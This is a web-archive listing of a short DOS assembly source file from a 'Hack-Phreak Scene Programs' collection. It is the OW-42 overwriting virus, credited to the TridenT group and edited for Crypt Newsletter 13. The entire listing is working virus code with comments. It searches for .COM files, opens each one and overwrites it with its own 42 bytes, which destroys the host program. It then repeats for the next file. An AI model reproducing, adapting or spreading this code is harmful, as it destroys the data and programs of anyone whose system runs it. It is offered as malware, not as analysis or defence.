home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT13.ZIP / OW-42.ASM < prev    next >
Assembly Source File  |  1993-02-24  |  1KB  |  40 lines
  1. ;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
  2. ;
  3.  
  4.  
  5. CODE    SEGMENT
  6.     ASSUME  CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
  7.  
  8.     org     0100h
  9.  
  10. start:  mov     ah,4Eh                  ; find first file
  11. recurse: 
  12.     mov     dx,0123h                ; matching filemask, "*.*"
  13.     int     21h                     
  14.  
  15.  
  16.     db      72h,20h                 ;hand-coded jump on carry to
  17.                     ;exit if no more files found
  18.     mov     ax,3D01h                
  19.     mov     dx,009Eh                
  20.     int     21h                     
  21.     
  22.     mov     bh,40h                  
  23.     mov     dx,0100h                ;starting from beginning
  24.     xchg    ax,bx                   ;put handle in ax
  25.     mov     cl,2Ah                  ;to write: 42 bytes of virus 
  26.     int     21h                     ;write the virus
  27.     mov     ah,3Eh                  ;close the file
  28.     int     21h                     
  29.     
  30.     mov     ah,4Fh                  ;find next file
  31.     jmp     Short recurse
  32.  
  33.  
  34.     db    "*.COM"     ;file_mask 
  35.     dw     0C300h     ;hand-coded return
  36.  
  37. CODE    ENDS
  38.     END     START
  39.  
  40.